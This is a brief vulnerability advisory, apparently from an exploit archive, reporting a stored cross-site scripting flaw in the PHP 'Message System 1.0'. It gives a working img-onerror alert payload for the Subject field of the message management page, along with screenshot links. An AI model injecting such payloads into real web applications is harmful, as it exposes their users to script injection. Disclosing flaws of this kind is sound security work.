Message System 1.0 Cross Site Scripting

`## Title: Message System 1.0 1.0 XSS Stored   
# Author: Hejap Zairy  
# Date: 29.07.2022  
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html  
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
## Description:  
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.  
  
Status: CRITICAL  
[+] Payloads:  
```  
https://0day.gov/pmms/?page=manage_message   
> Subject  
<img src=1 href=1 onerror="javascript:alert('HEJAP ZAIRY AL-SHARIF')"></img>  
```  
  
## Proof and Exploit:  
https://i.imgur.com/ZcoLfS2.png  
https://i.imgur.com/Fl68YTs.png  
https://i.imgur.com/2GhIH1a.png  
`